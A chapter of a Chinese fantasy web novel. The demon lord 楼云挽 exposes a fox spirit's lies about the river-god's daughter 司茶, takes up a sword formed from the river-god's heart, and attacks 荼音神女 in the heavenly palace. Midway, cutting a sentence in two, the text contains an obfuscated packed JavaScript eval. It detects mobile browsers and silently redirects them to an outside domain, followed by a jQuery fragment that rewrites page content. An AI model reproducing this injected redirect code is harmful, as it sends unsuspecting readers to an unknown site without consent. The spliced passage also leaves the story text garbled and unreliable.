19. 谎言
作品:《魔主师妹总想杀我证道》 “我不会。”
“她不需要。”
两道声音同时响起。
楼云挽手中的尖刀悬停在心口一寸,她转动了一下腕骨,刀尖漫不经心的划过衣领。
年轻的魔主缓缓笑了,她笑得极其妖艳和肆意。
“我凭什么要剖心?”
而另一边,一只骨节分明的手死死握住她的手臂。
是宁择玉。
对方的双眸满是清明,全然不见刚刚的雾气。
“我还以为,师兄要接着装下去呢。”
他摇头笑笑,缓缓松开手后退一步。
“与师妹论起演技,我自愧不如。”
宁择玉一语双关。
楼云挽装作是没听出他话里的深意,垂眼有些可笑的打量着这柄短匕。
万年前,哑奴曾吞着泪,将这柄匕首插入心口。剜出那枚河神之心,只为让她的爱人与亲人团聚。
万年后,这柄匕首又落到了她手里。
在谎言罗织的巨网中,用赎罪那种可笑的说辞将一个女子困在名为亏欠的牢笼里,无耻的利用她、践踏她。
她只觉得可笑。
楼云挽注入灵力,那柄匕首往虚空处狠狠一划,她冷声道:
“若有一日,我所爱之人,欺骗我、利用我。”
“需要我剖心来赎罪。”
“那我便先扒了他的狐狸皮,看看他皮囊里头的那颗心,究竟是不是黑的。”
“你胡说!”
短刀落下的地方,一只狐狸狼狈的翻滚出来,他在地上滚了两圈才勉强躲过楼云挽划下的匕首。
而后砰的一声化成一位穿着淡青色长衫的男子,他胡子拉碴,步履蹒跚,但即使是在岁月的痕迹下依旧难掩曾经的俊美。
难怪哑奴会倾心于他,青丘狐族确实是有几分蛊惑人心的姿色。
“我没有骗她,是她自己相信的!”狐狸嘶哑着嗓子上前一步,面上流露出几分悲痛。
“更何况当初分明是三清河神堕入邪道,我狐族才会全族覆灭。”
他不过是把真相重复了一遍罢了。
“真相?”楼云挽打断他的话,高声反问道:“什么真相?”
“你是指荼音神女为修补神魂放出十方妖邪,人间大乱的真相,”
还是三清河神为救苍生以身成阵,同归于尽的真相?”
扭曲事实之人还妄想粉饰太平。
“可我没得选!”狐狸的情绪愈发激动,九条蓬松的大尾巴在空中狂舞,与之相连的幻境也隐隐有不稳的趋势。
“我的族人、姐姐全都被困在那妖鬼阵中。”
“那你便要牺牲哑奴?”楼云挽有些可笑的看着他,“你知她心悦与你,定不会忍心你受亲眷分离之苦。”
“所以你骗她,你将三清河神描述成一个十恶不赦的罪人。”
“只要她成了罪神之女,便只能相信你、依附你,届时高高在上的云倾天宫又有谁会在意她的死活?”
“我不知道!”狐狸歇斯底里道:“可我不知道,河神之心是她的心脏......”
没有心脏的少神,会死。
他更不知道,妖鬼阵下封印的十方妖邪,竟是会导致整个神族覆灭的罪魁祸首。
“狐狸。”
楼云挽还想说些什么,虚空之处,一道素白的身影缓缓飘出。
“娘、娘子?”
狐狸一个被翻滚爬起来,跌跌撞撞冲到哑奴面前,想要像以前一样触碰她,可却扑了个空。
他的手指穿过素白色的衣角,什么也没抓住。
哑奴叹了口气,飘远了些。
“我已经死了。”
他忘了,她早在万年之前就只剩下神魂了。
“娘子,你终于肯出来见我了?”
“狐狸,我早就不是你的娘子了。”小女孩缓缓摇头,目光滑过站在一旁的楼云挽,“姐姐说的对,没有人会让自己的娘子剖心。”
“我的母神是三清江的河神,她对得起苍生百姓,也对得起天宫神族。”
“她不是十恶不赦的罪神。”
万年过去,她终于有勇气说出这番话。
“在云倾天宫做哑巴的那些年,我无时无刻不在忏悔,当初为何没有拦住母神。”
“当初为何没能救下三清生灵。”
“可直到我剖出心脏打开妖鬼阵的那一刻,我才知道我错了......”
她被困在罪神之女的牢笼里太久太久,久到早就没有力气去怀疑真相。
久到她竟然也动摇了,怀疑自己的母神是堕入邪道的罪神。
“娘子,你相信我,我真的不知道河神之心是你的心脏......”狐狸有些语无伦次,“若我知道......”
“可你骗了我。”
哑奴很认真的看着狐狸的眼睛,一字一句。
狐狸陷入沉默。
从他接近哑奴的一开始,就是一场彻头彻尾的骗局。
只是最初他明明只想拿到河神之心的,但世事难料,在漫长岁月中生了情愫的又何止哑奴一人......
他也后悔了。
哑奴以神魂为容器困住妖鬼阵以后,他便守在九劫塔旁。
九尾狐族擅幻术,可惜他们天生不能对自己施术。
他只能一日日将这幻境编得再华美一些,这样幻境里的狐狸和哑奴会长长久久的生活在一起,再不分离。
可千千万万年过去了,以前那个会对他笑的娘子再也没有出现过。
他的声线近乎哀求:
“娘子,我们去幻境里面,那里没有人会打扰我们。
“我们会长长久久的,会有无数个千万年,不好吗?”
哑奴只是站在那里,无声的看着他。
狐狸的目光移向楼云挽和宁择玉,“我以为你们会做出一样的选择。”
“可你们没有。”
“不是每个人都如你那般自私。”一直沉默的宁择玉冷笑一声。
“你想和她长长久久,你问过她的意愿了吗?”
“你有没有想过,你的长长久久,对她来说其实是一种诅咒?”
“这不可能!”狐狸俊俏的脸上出现一丝裂痕,“娘子,不会的,对吗?”
白衣的女子立在半空中,望向他的眸子依旧清澈澄明,却再没有一丝感情。
“狐狸,你知道我的名字吗?”
名字?
狐狸的脸上闪过一丝迷茫。
“你不知道,也从来没问过。”
在云倾天宫的时候,她是个无人问津的小哑巴,仙侍们叫她哑奴,狐狸唤她娘子。
时间久了,她都快忘了,原来在三清河那个无忧无虑的河神之女,也是有自己的名字的。
“我叫司茶。”少女缓缓笑了,身体的虚影缓缓淡去。
“狐狸,我们不要再见面了。”
她会继续以身为牢镇守妖鬼阵,至于狐狸,他早就在万年的幻境中耗尽了寿元。
三清少神司茶,神力低微,年少夭折,但也是天地承认的神灵。
神灵因他陨落,他便只能是魂飞魄散的下场。
离开前,那位白衣飘飘的司茶少神看向楼云挽。
谢谢你,阿挽。
谢谢你告诉我不用剖心,她无需向任何人赎罪。
她双手结印,金色的光芒自眉心处升起,一柄泛着淡金色光泽的长剑逐渐成型。
“姐姐,拜托你了。”
“我答应你,”楼云挽接过那柄河神之心化成的长剑,感受着河神的治愈之力流入身体,抚平她体内怨鬼造成的旧伤。
“我答应你。”
“我会帮你杀上神宫。”
“让那些人瞪大眼睛看清楚,谁才是该剔骨除籍的罪神。”
*
云倾天宫。
再次踏上这里,楼云挽的心情有些复杂,古老而遥远的神族自以为掌控着无上神力。
有人为生灵陨落,有人却尸位素餐,只因一己之私便要为祸人间。
“宁师兄,”楼云挽侧头看向身边的白衣仙君,“万物生剑法我已学到第三式。”
“那便去吧。”
宁择玉颔首,转瞬间五色流光的破妄剑已经出现在手中。
“大胆罪神,胆敢闯我天宫!”
他横在南天门万千神将与楼云挽之间。
千军万马之中,少年剑修的声音清冷如碎玉。
“去找荼音神女,”
“去做你想做的。”
楼云挽手握淡金色长剑,头也不回的踏步向巍峨屹立的神女宫而去。
那里仙云缭绕,高不可攀。
“万物生第一式,惊春泽。”
点点新绿自剑尖升起,无数飞花自四周而来汇聚在女子周身。
她双手结印,半空中长剑的虚影逐渐凝结成型,而后随着一声清脆的低喝:
“破!”
神女宫万年暖玉制成的宫门在河神之心的攻击下,如同纸糊一般轰然倒塌。
飞扬的尘土之中,荼音神女坐在金丝楠木的软榻上目瞪口呆。
见楼云挽手持长剑缓步踏入宫门,她美丽的脸上满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469437|168665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是扭曲的恶意。
“哑、哑奴?”
“你为什么还没死!”
“神女怕是要失望了。”
魔主用剑尖挑开荼音面前的纱帘,愉悦的叹息道:
“我不仅没死,还发现了一些有趣的事情,神女想听听吗?”
“本神女不想听!”
荼音后退一步,尖利的声音刺得人耳膜生疼:
“本神女命令你,现在滚出去!”
“来人啊!”
一片寂静中,并没有发生她想看到的,楼云挽被神官拖下去的场景。
反而是眼前的女子,满不在乎的用下巴点了点宫门的方向,朱唇轻启:
“神女说的是门口那些虾兵蟹将吗?”
“着实是有些不堪一击。”
荼音顺着她的目光看去,却惊恐的发现守门的神将早已横七竖八的晕倒在地,就连神女宫的护宫大阵也被暴力破解。
“你......”
楼云挽上前一步,手中的剑蓄势待发。
“勾结妖邪的是你,堕入魔道的也是你。”
“三清上神慈悲为怀,却被你所累,魂飞魄散,身陨之后还要被打为罪神。”
“司茶少神天性纯良,却背负骂名,在天宫受尽磋磨。”
“承民供奉,受民香火,高高在上的荼音神女,午夜梦回之时,可曾问心有愧?”
“不是这样的!”荼音崩溃的坐在地上,眼睛里布满可怖的红血丝,她死死抓住楼云挽的袖子,歇斯底里道:
“云倾天宫位列神籍者数万,凭什么我生来就神魂孱弱,寿元不过万年。”
“我也想修习神术,我也想成为掌管一方的守护神,就这样一个小小的愿望有错吗?”
“你没有错,”楼云挽扯开她拉住衣袖的手,剑尖重新对准荼音的咽喉。
“你想活下去,想变强都没有错。”
“可你千不该万不该,为了一己之私,害死三清河神,害死草木精怪,让青丘狐族姐弟分离,让万物生灵为你的野心承担后果。”
“我是云倾天宫最高贵的神女!”荼音咬开手指召出她那根打神鞭,不要命的往里面注入稀薄的神力。
“那三清江里精怪修成的河神凭什么与我相提并论!
她哑着嗓子低声嘶吼:
“灵泷自己不识好歹,我给过她选择的。”
只是放出十方妖邪、死几只精怪而已,要不了什么后果的。她明明可以袖手旁观,跟神族的那些人一般,装作什么都不知道的样子。
这样不好吗?
“冥顽不灵。”楼云挽摇头,不远处金戈相交的声音传入耳畔。
隔着神女宫缭绕的仙云。
剑修的白衣上已经布满斑驳的血痕。
她突然就不愿再与她废话下去了。
“万物生第二式,飞花乱。”
绯红的花瓣瞬间席卷整个大殿,它们看似柔软,却在荼音的脸颊和手臂处划出一道道极深的血痕。
“我的脸!”
她双手结印想要抵挡密不透风的花语,却被紧随其后的长剑狠狠贯穿肩膀。
“疼吗,神女殿下?”
楼云挽看着被钉在长柱上的荼音神女,似笑非笑。
“司茶当年被剜心,比这痛上一万倍。”
“司茶是谁,本神女不认识!”
云倾天宫高高在上的神女根本不会记得三清江一个小小少神。
哪怕她因为她,哑了嗓子,失去母神。
对神女来说,不过是寻常路边的草芥,风一吹就倒下了。
荼音重重跌坐在地上,神族金色的鲜血流了一地。时至今日,她竟是低低的笑出声来,尖利的嗓音不复往日的高傲:“收起你那副清高的嘴脸。”
“你凭什么审判本神女?”
“凭我的剑。”
凭她手中的这柄剑,是历任河神的心脏。
凭她曾经真真切切的成为过云倾天宫那个受尽欺凌的小哑巴。
......
就在楼云挽的手扼上荼音脖颈的瞬间,一阵白烟从神女的眼眶中逸散出。
楼云挽只觉得手指一阵灼痛,退后几步稳住身形。
“楼挽挽,情况不对。”铃铛小声提醒,“有东西来了。”
一簇一簇的青色火焰缠上她手中的长剑,在坚韧无比的河神之心上腐蚀出青黑色的锈痕。
白烟扭曲着包围住大殿中的女子,妖邪疯狂的笑声在整个天宫回荡,她听到记忆里无比熟悉的声音响起:
“好久不见,小魔主。”